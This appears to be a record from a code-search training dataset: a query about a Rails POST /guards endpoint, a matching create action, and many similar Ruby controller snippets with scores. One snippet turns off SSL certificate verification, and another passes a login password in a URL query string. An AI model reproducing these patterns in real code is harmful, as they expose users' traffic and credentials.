"def new\n @wardmaster = Wardmaster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wardmaster }\n end\n end",
"def new\n @old_card = OldCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_card }\n end\n end",
"def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end",
"def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @loan }\n end\n end",
"def new\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def new\n @supplier = Supplier.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @supplier }\n end\n end",
"def new\n @combat = Combat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @combat }\n end\n end",
"def new\n @research = Research.new\n @page_title = \"Request research from White House 2 members\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end",
"def new\n @visarequest = Visarequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visarequest }\n end\n end",
"def new\n @wildlife = Wildlife.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wildlife }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n format.json { render :json => @account }\n end\n end",
"def new\n @relationship = Relationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relationship }\n end\n end",
"def new\n\t\t@award = Award.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @award }\n\t\tend\n\tend",
"def new\n @account = current_user.accounts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @league = League.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @league }\n end\n end",
"def new\n @league = League.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @league }\n end\n end",
"def new\n @game = Game.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def new\n @game = Game.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def new\n @game = Game.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def new\n @game = Game.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def new\n @account = User::Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @burger = Burger.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @burger }\n end\n end",
"def new\n @authorship = Authorship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @authorship }\n end\n end",
"def new\n @assessment = Assessment.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assessment }\n end\n end",
"def new\n @house = House.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @house }\n end\n end",
"def new\n @ambiance = Ambiance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ambiance }\n end\n end",
"def new\n @bcard = Bcard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bcard }\n end\n end",
"def new\n @housing = Housing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @housing }\n end\n end",
"def new \n @how_to = HowTo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @how_to }\n end\n end",
"def new\n @requirement = Requirement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @requirement }\n end\n end",
"def new\n @giftstate = Giftstate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @giftstate }\n end\n end",
"def new\n @quirk = Quirk.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quirk }\n end\n end",
"def new\n @black = Black.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @black }\n end\n end",
"def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end",
"def new\n @goaltemplate = Goaltemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goaltemplate }\n end\n end",
"def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contribution }\n end\n end",
"def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contribution }\n end\n end",
"def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pledge }\n end\n end",
"def new\n @jido_guardian_rel = JidoGuardianRel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @jido_guardian_rel }\n end\n end",
"def new\n @abuse = Abuse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @abuse }\n end\n end",
"def new\n @repo = Repo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repo }\n end\n end",
"def new\n respond_to do |format|\n format.html { head :forbidden }\n format.xml { head :forbidden }\n end\n end"
] |
[
"0.69041663",
"0.6827875",
"0.6790674",
"0.6775494",
"0.6773475",
"0.67727506",
"0.6768087",
"0.6756935",
"0.67148274",
"0.6694192",
"0.6648209",
"0.6644479",
"0.6644479",
"0.6644479",
"0.6644299",
"0.66318166",
"0.6611558",
"0.66030514",
"0.6597194",
"0.65963095",
"0.65963095",
"0.6588979",
"0.65884113",
"0.65803784",
"0.6580257",
"0.657548",
"0.6569672",
"0.65656507",
"0.6563976",
"0.6559964",
"0.6559474",
"0.65390027",
"0.6535666",
"0.6518974",
"0.65180564",
"0.6517858",
"0.65136206",
"0.65115863",
"0.65066725",
"0.65066725",
"0.6501878",
"0.6501553",
"0.6500724",
"0.6491433",
"0.64902484",
"0.6489523",
"0.6485833",
"0.64823467",
"0.64823467",
"0.6475843",
"0.6471382",
"0.6469305",
"0.6462766",
"0.64626515",
"0.6457096",
"0.6456853",
"0.64564663",
"0.6456353",
"0.6447381",
"0.6439792",
"0.64381236",
"0.64363194",
"0.64322937",
"0.6431694",
"0.64311624",
"0.64223117",
"0.64222705",
"0.64185077",
"0.64151716",
"0.6415111",
"0.6413442",
"0.6413442",
"0.6408471",
"0.6408471",
"0.6408471",
"0.6408471",
"0.64033216",
"0.6400189",
"0.6400176",
"0.63979256",
"0.6397695",
"0.63953924",
"0.6391448",
"0.6390117",
"0.6390038",
"0.6388033",
"0.6385357",
"0.63848037",
"0.63823086",
"0.63820714",
"0.63797444",
"0.6378584",
"0.63775903",
"0.63736933",
"0.63736933",
"0.63735044",
"0.63706654",
"0.63644665",
"0.6360423",
"0.63558054"
] |
0.71009535
|
0
|
POST /guards POST /guards.xml
|
def create
@guard = Guard.new(params[:guard])
respond_to do |format|
if @guard.save
flash[:notice] = 'Guard was successfully created.'
format.html { redirect_to(@guard) }
format.xml { render :xml => @guard, :status => :created, :location => @guard }
else
format.html { render :action => "new" }
format.xml { render :xml => @guard.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_save_advice\r\n \r\n post :save_advice, :id => @Questionnaire, :advice => { \"1\"=> { :advice => \"test\" } } \r\n \r\n assert_response :redirect\r\n assert_equal \"The questionnaire's question advice was successfully saved\", flash[:notice]\r\n assert_redirected_to :action => 'list'\r\n end",
"def post_check(excon, body)\n excon.request(\n method: :post,\n path: '/check',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def get_abs_post_request(uri)\n req = nil\n abs_token = get_abs_token\n if abs_token\n req = Net::HTTP::Post.new(uri, \"Content-Type\" => \"application/json\",\n \"X-Auth-Token\" => abs_token)\n else\n puts \"Unable to prepare a valid ABS request without a valid token\"\n end\n req\n end",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/rewardsaccount/v1\")\n end",
"def validator_captive_portal(args = {}) \n post(\"/profiles.json/captiveportal/\", args)\nend",
"def create\n @guarantor = Guarantor.new(params[:guarantor])\n\n respond_to do |format|\n if @guarantor.save\n format.html { redirect_to @guarantor, notice: 'Guarantor was successfully created.' }\n format.json { render json: @guarantor, status: :created, location: @guarantor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @guarantor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def POST; end",
"def test_save_advice\r\n \r\n post :save_advice, :id => @Questionnaire, :advice => { \"#{Fixtures.identify(:advice0)}\"=> { :advice => \"test\" } } \r\n \r\n assert_response :redirect\r\n assert_equal \"The questionnaire's question advice was successfully saved\", flash[:notice]\r\n assert_redirected_to :action => 'list'\r\n end",
"def sendclaim\n require 'net/http'\n require 'uri'\n\n @visit = Visit.find(params[:id])\n @patient = Patient.find(@visit.patient_id)\n @patient.fname = @patient.full_sex unless @patient.fname.present?\n @doctor = Doctor.find(@visit.doc_id)\n @xml = render_to_string \"show.xml\"\n\n uri = URI.parse(CABMDURL)\n http= Net::HTTP.new(uri.host,uri.port)\n http.use_ssl = true\n \n req = Net::HTTP::Post.new(uri.request_uri, {'Content-Type' => 'application/xml'})\n req.body = @xml\n\n res = http.request(req)\n @xmlhash = JSON.parse(res.body)\n# {\"success\"=>true, \"errors\"=>[], \"messages\"=>[], \"reference_id\"=>\"332933\", \"accounting_number\"=>\"0004MZ4Z\"}\n \n if @xmlhash['success'] \n\t acc_num = @xmlhash['accounting_number']\n flash[:info] = \"Claim #{acc_num} sent to cab.md \" \n @visit.update_attribute(:status, BILLED)\n @visit.update_attribute(:billing_ref, acc_num)\n else\n\t errors = @xmlhash['errors']\n\t messages = @xmlhash['messages']\n\t flash[:danger] = \"Error sending claim : #{@xmlhash}\"\n @visit.update_attribute(:status, READY)\n\t @visit.update_attribute(:billing_ref, errors.join(',')) if errors.present?\n end\n\n respond_to(:html)\n redirect_to patient_visit_path\n end",
"def post\n resource.post(request, response)\n end",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
"def create\n params[\"balance_enquiry\"][\"karigar_id\"] = params[\"karigar_id\"]\n @balance_enquiry = BalanceEnquiry.new(balance_enquiry_params)\n respond_to do |format|\n if @balance_enquiry.save\n format.html { redirect_to karigar_balance_enquiries_path(@karigar), notice: 'Balance enquiry was successfully created.' }\n format.json { render :show, status: :created, location: @balance_enquiry }\n else\n format.html { render :new }\n format.json { render json: @balance_enquiry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def commit(action, xml)\n headers = { 'Content-Type' => 'application/x-qbmsxml',\n 'Content-length' => xml.size.to_s }\n \n # Post to server\n url = get_post_url\n @request = xml\n data = ssl_post(url, xml, headers)\n \n response = parse(action, data)\n message = message_from(response)\n \n # Post Processing - Create the Response object\n case action\n \n when 'session_ticket'\n @response = Response.new(success?(response), message, response, \n :test => test?,\n :authorization => response[:session_ticket]\n )\n @response\n \n else\n @response = Response.new(success?(response), message, response, \n :test => test?,\n :authorization => response[:transaction_id],\n :cvv_result => cvv_result(response),\n :avs_result => avs_result(response)\n ) \n end\n end",
"def registerCard\n parameters={user_id: (@current_user[\"id\"]).to_i, number: (params[:number]).to_i, amount: (params[:amount]).to_i, expiration_month: (params[:expiration_month]).to_i, expiration_year: (params[:expiration_year]).to_i}\n puts (parameters)\n options = {\n :body => parameters.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.post(\"http://192.168.99.104:3003/credit_cards\", options)\n if results.code == 201\n head 201\n else\n render json: results.parsed_response, status: results.code\n end\n end",
"def do_submission(path, xml = nil)\n if xml.nil?\n form = create(:form, question_types: %w(integer integer))\n form.publish!\n xml = build_odk_submission(form)\n end\n\n # write xml to file\n require 'fileutils'\n FileUtils.mkpath('test/fixtures')\n fixture_file = Rails.root.join('test/fixtures/', ODK_XML_FILE)\n File.open(fixture_file.to_s, 'w') { |f| f.write(xml) }\n\n # Upload and do request.\n uploaded = fixture_file_upload(fixture_file, 'text/xml')\n post(path, {:xml_submission_file => uploaded, :format => 'xml'}, 'HTTP_AUTHORIZATION' => encode_credentials(@user.login, 'password'))\n assigns(:response)\n end",
"def create\n @quirk = Quirk.accessible_by(current_ability).new(params[:quirk])\n\n respond_to do |format|\n if @quirk.save\n flash[:notice] = 'Quirk was successfully created.'\n format.html { redirect_to(@quirk) }\n format.xml { render :xml => @quirk, :status => :created, :location => @quirk }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @quirk.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n \n a = \"http://67.215.224.75/billing/api/login?u=#{params[:session][:email]}&p=#{params[:session][:password]}\" \n \n # Nokogiri Gem is used to Catch the XML response from the MOR & call the appropriate action on the received status\n \n doc = Nokogiri::XML(open(a))\n doc.xpath('/action/status').each do |link| \n @abc = link.content\n end \n \n # Condition to check whether the received response is 'Ok' or 'Failed' \n \n if @abc == 'failed'\n \n flash[:notice] = \"Invalid Username/Password\" # If condition is failed redirect to root page\n redirect_to '/' \n else\n \t\t# if condition is 'ok' redirect to MOR user dashboard\n \t\t\n redirect_to \"http://67.215.224.75/billing/api/login?u=#{params[:session][:email]}&p=#{params[:session][:password]}\"\n end \n end",
"def create\n redirect_unless_admin\n hide_left_menu\n\n @gift_card = GiftCard.new(params[:gift_card])\n\n respond_to do |format|\n if @gift_card.save\n format.html { redirect_to @gift_card, notice: 'Gift card was successfully created.' }\n format.json { render json: @gift_card, status: :created, location: @gift_card }\n else\n @type = SupplierAccountType.find_by_name(\"Vestidos Boutique\")\n @supplier_accounts = SupplierAccount.where(\"supplier_account_type_id = ?\", @type.id).approved\n \n format.html { render action: \"new\" }\n format.json { render json: @gift_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def validate_order() \n\tputs \"Validating order\" \n\tdata = create_order()\n\tresponse = request_post(\"/api/order/validate\", data)\n\tputs response.body\nend",
"def handle_post(body)\n make_response(200, validate_questions(body))\nend",
"def create\n\n @response = Response.find(params[:response_id])\n @request_selection = @response.create_request_selection(params[:request_selection])\n #@reward = @request_selection.create_reward(params[:reward])\n \n respond_to do |format|\n if @request_selection.save\n \n format.html { redirect_to _my_requests_path }\n format.json { render json: @request_selection, status: :created, location: @request_selection }\n else\n format.html { render action: \"new\" }\n format.json { render json: @request_selection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(data)\n response_data = []\n data.each do |xml|\n req = send_request(xml)\n\n if req[:code].to_i.between?(200, 201)\n response_data << req[:data]\n else\n if req[:code] == \"401\"\n raise ResponseError, \"Could not authenticate with the Pomegranate API. Ensure that your credentials are correct.\"\n elsif req[:code] == \"400\"\n raise ResponseError, \"Bad asset value formatting. Please reformat and try again.\"\n else\n raise StandardError, \"An unknown error has occured.\"\n end\n response_data = false\n break\n end\n end\n\n response_data\n end",
"def create\n @guarantor = Guarantor.new(params[:guarantor])\n\n respond_to do |format|\n if @guarantor.save\n applicant=Applicant.find(@guarantor.applicant_id)\n format.html { redirect_to(applicant, :notice => 'Guarantor was successfully updated.') }\n format.xml { render :xml => @guarantor, :status => :created, :location => @guarantor }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @guarantor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @reward = current_business.rewards.build(reward_params)\n\n respond_to do |format|\n if @reward.save\n format.html { redirect_to @reward, notice: 'Reward was successfully created.' }\n format.json { render :show, status: :created, location: @reward }\n else\n format.html { render :new }\n format.json { render json: @reward.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_buy_token\n # Whitelist parameters for buying tokens\n purchase_params \n end",
"def create\n @reward_profile = RewardProfile.new(params[:reward_profile])\n\n respond_to do |format|\n if @reward_profile.save\n flash[:notice] = 'RewardProfile was successfully created.'\n format.html { redirect_to(@reward_profile) }\n format.xml { render :xml => @reward_profile, :status => :created, :location => @reward_profile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reward_profile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_reward = Api::V1::Reward.new(api_v1_reward_params)\n\n respond_to do |format|\n if @api_v1_reward.save\n format.html { redirect_to @api_v1_reward, notice: 'Reward was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_reward }\n else\n format.html { render :new }\n format.json { render json: @api_v1_reward.errors, status: :unprocessable_entity }\n end\n end\n end",
"def waiver_submitted\n requested_decision\n end",
"def test_should_not_create_link_via_API_XML\r\n get \"/logout\"\r\n post \"/links.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def eligibility(params = {})\n scope 'default'\n post('eligibility/', params)\n end",
"def create\n @award = Award.new(params[:award])\n\n respond_to do |format|\n if @award.save\n format.html { redirect_to @award, notice: 'Award was successfully created.' }\n format.json { render json: @award, status: :created, location: @award }\n else\n format.html { render action: \"new\" }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @award = Award.new(params[:award])\n\n respond_to do |format|\n if @award.save\n format.html { redirect_to @award, notice: 'Award was successfully created.' }\n format.json { render json: @award, status: :created, location: @award }\n else\n format.html { render action: \"new\" }\n format.json { render json: @award.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_accounts(to_hash)\n end",
"def post\r\n end",
"def test_post_invoices_xml \n Redmine::ApiTest::Base.should_allow_api_authentication(:post,\n '/invoices.xml',\n {:invoice => {:project_id => 1, :number => 'INV/TEST-1'}},\n {:success_code => :created})\n \n assert_difference('Invoice.count') do\n post '/invoices.xml', {:invoice => {:project_id => 1, :number => 'INV/TEST-1', :contact_id => 1, :status_id => 1, :invoice_date => Date.today}}, credentials('admin')\n end\n\n invoice = Invoice.first(:order => 'id DESC')\n assert_equal 'INV/TEST-1', invoice.number\n \n assert_response :created\n assert_equal 'application/xml', @response.content_type\n assert_tag 'invoice', :child => {:tag => 'id', :content => invoice.id.to_s}\n end",
"def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def create\n @invoice.attributes = params[:invoice]\n @credit_card = ActiveMerchant::Billing::CreditCard.new(params[:active_merchant_billing_credit_card])\n\n respond_to do |wants| \n wants.html do\n if (!@invoice.paying_with_credit_card? || @credit_card.valid?) && @invoice.save then \n \n @survey.billing_info_received!(current_association)\n\n redirect_to survey_path(@survey)\n else\n render :action => :new\n end\n end \n end\n end",
"def new\n @guard = Guard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guard }\n end\n end",
"def create\n @expense_buddy = ExpenseBuddy.new(expense_buddy_params)\n\n respond_to do |format|\n if @expense_buddy.save\n format.html { redirect_to @expense_buddy, notice: 'Expense buddy was successfully created.' }\n format.json { render :show, status: :created, location: @expense_buddy }\n else\n format.html { render :new }\n format.json { render json: @expense_buddy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def confirm_decisions(decision_ids)\n url = SiteSetting.moderator_base_url + '/publisher/decisions/confirm'\n prepped_json = { \"data\" => decision_ids}.to_json\n generate_request url, 'post', prepped_json\n end",
"def create\n @ambiance = Ambiance.new(params[:ambiance])\n\n respond_to do |format|\n if @ambiance.save\n format.html { redirect_to(@ambiance, :notice => 'L ambiance a ete creee.') }\n format.xml { render :xml => @ambiance, :status => :created, :location => @ambiance }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ambiance.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @compliance.save\n flash[:notice] = 'Compliance was successfully created.'\n format.html { redirect_to(@compliance) }\n format.xml { render :xml => @compliance, :status => :created, :location => @compliance }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @compliance.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_accueil_et_inscription\n\t\tpost '/accueil', identifiant: '2', date_naiss: '1915-12-19'\n\t\tassert last_response.body.include? 'son inscription'\n\tend",
"def create\n megam_rest.post_billedhistories(to_hash)\n end",
"def post; end",
"def check_and_grant_awards!(observed_object)\n # for the observed object, let's see which awards it may grant\n # for each grantable award, we'll add the award using our\n # dependency graph award method: add_awards!\n # We'll return the list of all actual awarded adds, as stated by\n # add_awards!.\n added_grants = []\n candidate_grants = []\n status, headers, body = @routes.call :source => observed_object\n # We make sure we have a good status code\n return [] unless status == 200\n # Define a proc to do the adding of grants and parent candidates.\n do_grant = Proc.new { |grant|\n source = (\n observed_object.class.respond_to?(:base_class) and\n observed_object.respond_to?(:id)) ? observed_object : nil\n grant.awardable.award_with! grant.award, :source => source\n added_grants << grant\n # This is if we have ancestry enabled.\n if grant.award.respond_to?(:parent) and !grant.award.parent.nil?\n candidate_grants << Grant.new(grant.awardable, grant.award.parent)\n end\n }\n grants = Array(body)\n grants.each { |g| do_grant.call(g) }\n while !candidate_grants.empty?\n candidate = candidate_grants.shift\n do_grant.call(candidate) if(\n meets_requirements?(candidate) and\n !added_grants.include?(candidate.award))\n end\n return added_grants\n end",
"def checkout\n @radio_assignment = RadioAssignment.new\n authorize @radio_assignment\n end",
"def test_should_create_link_via_API_XML\r\n get \"/logout\"\r\n post \"/links.xml\", :api_key=>'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n end",
"def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end",
"def award\n\tend",
"def create\n @reward_and_level = RewardAndLevel.new(reward_and_level_params)\n\n respond_to do |format|\n if @reward_and_level.save\n format.html { redirect_to @reward_and_level, notice: 'Reward and level was successfully created.' }\n format.json { render json: @reward_and_level, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @reward_and_level.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_authorize_and_capture\n amount = @amount\n assert response = @gateway.authorize(amount, @credit_card, @options)\n assert_success response\n assert_nil response.message\n assert response.authorization\n assert capture = @gateway.capture(amount, response.authorization)\n assert_success capture\n end",
"def create\n @visarequest = Visarequest.new(params[:visarequest])\n\n respond_to do |format|\n if @visarequest.save\n flash[:notice] = 'Your Visa Request Application has been successfully submitted.'\n\t\t\n\t\t#send the visa request application of the member to the credit union by email\n\t\tEmailer.deliver_visarequest_email(@visarequest)\n format.html { redirect_to(@visarequest) }\n format.xml { render :xml => @visarequest, :status => :created, :location => @visarequest }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @visarequest.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @bearing = Bearing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bearing }\n end\n end",
"def create\n # new instance of a card with parameters of card details\n @card = Card.create(card_params)\n # current user info gets associated with card?? ASK\n # if card is valid based on our criteria (validations)\n # then the card will be saved and added to list of all cards\n # and user will be redirected to list of all cards\n if @card.valid?\n @card.save!\n \n redirect_to cards_path\n # if card doesn't fit our criteria, then user will get an\n # error message\n else\n render :new\n flash[:alert] = \"There was an error with your submission\"\n end\n end",
"def test_purchase_and_credit_for_check\n assert purchase = @gateway.purchase(1000, @check, @options)\n assert_success purchase\n assert_approved purchase\n \n assert void = @gateway.credit(1000, purchase.authorization, @options)\n assert_success void\n assert_approved void\n end",
"def test_create_observation\n requires_login(:create_observation)\n assert_form_action(:action => 'create_observation', :approved_name => '')\n end",
"def test_create_observation\n requires_login(:create_observation)\n assert_form_action(:action => 'create_observation', :approved_name => '')\n end",
"def create\n @calendar = Calendar.find(params[:calendar_id])\n @reward = @calendar.rewards.build(params[:reward])\n\n respond_to do |format|\n if @reward.save\n flash[:notice] = 'Reward was successfully created.'\n format.html { redirect_to calendar_configurations_path(params[:calendar_id]) }\n format.xml { render :xml => @reward, :status => :created, :location => @reward }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reward.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @settlebuddy_support = SettlebuddySupport.new(settlebuddy_support_params)\n\n respond_to do |format|\n if @settlebuddy_support.save\n format.html { redirect_to @settlebuddy_support, notice: 'Settlebuddy support was successfully created.' }\n format.json { render :show, status: :created, location: @settlebuddy_support }\n else\n format.html { render :new }\n format.json { render json: @settlebuddy_support.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @whitelist = Whitelist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @whitelist }\n end\n end",
"def create\n @deck = Deck.find_or_create_by_quizlet_id params[:deck][:quizlet_id]\n @deck.handle_id = params[:deck][:handle_id]\n\n require \"net/https\"\n require \"uri\"\n uri = URI.parse(\"https://api.quizlet.com/2.0/sets/#{@deck.quizlet_id}?client_id=ABPPhBBUAN&whitespace=1\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n @qdeck = JSON.parse response.body\n\n @deck.save\n\n @group = Group.find_or_create_by_deck_id_and_default @deck.id, true\n @group.update_attributes :name => \"Default\"\n\n @deck.title = @qdeck['title']\n @qdeck['terms'].each do |t|\n card = Card.find_or_create_by_quizlet_id t['id']\n card.front = t['term']\n card.back = t['definition']\n @deck.cards << card\n @group.cards << card\n card.save\n end\n\n respond_to do |format|\n if @deck.save\n format.html { redirect_to edit_deck_path(@deck), notice: 'Deck was successfully created.' }\n format.json { render json: @deck, status: :created, location: @deck }\n else\n format.html { render action: \"new\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wardmaster = Wardmaster.new(params[:wardmaster])\n\n respond_to do |format|\n if @wardmaster.save\n format.html { redirect_to(@wardmaster, :notice => 'Wardmaster was successfully created.') }\n format.xml { render :xml => @wardmaster, :status => :created, :location => @wardmaster }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wardmaster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(request, response)\n raise HTTPStatus::Forbidden\n end",
"def post(request, response)\n raise HTTPStatus::Forbidden\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @compliance }\n end\n end",
"def xml_validator_params\n params.require(:xml_validator).permit(:route_id, :name, :xml_schema, response_attributes: [:id, :content_type, :response, :_destroy])\n end",
"def create\n @screw = Screw.new(params[:screw].permit(:size, :length, :threading, :drawer_ids, :drawers, :barcode))\n @screw.drawer_ids = params[:screw][:drawer_ids]\n @screw.save\n\n respond_to do |wants|\n if @screw.save\n flash[:notice] = 'Screw was successfully created.'\n wants.html { redirect_to(@screw) }\n wants.xml { render :xml => @screw, :status => :created, :location => @screw }\n else\n wants.html { render :action => \"new\" }\n wants.xml { render :xml => @screw.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @guarantor = Guarantor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @guarantor }\n end\n end",
"def create\n @reward_type = RewardType.new(reward_type_params)\n\n respond_to do |format|\n if @reward_type.save\n format.html { redirect_to @reward_type, notice: 'Reward type was successfully created.' }\n format.json { render :show, status: :created, location: @reward_type }\n else\n format.html { render :new }\n format.json { render json: @reward_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n @booking.treehouse = @treehouse\n @booking.user = current_user\n authorize @booking\n\n if @booking.save\n flash[:notice] = \"Booking Confirmed!\"\n redirect_to user_path(current_user)\n\n else\n flash[:alert] = \"Booking Failed\"\n redirect_to @treehouse\n end\n end",
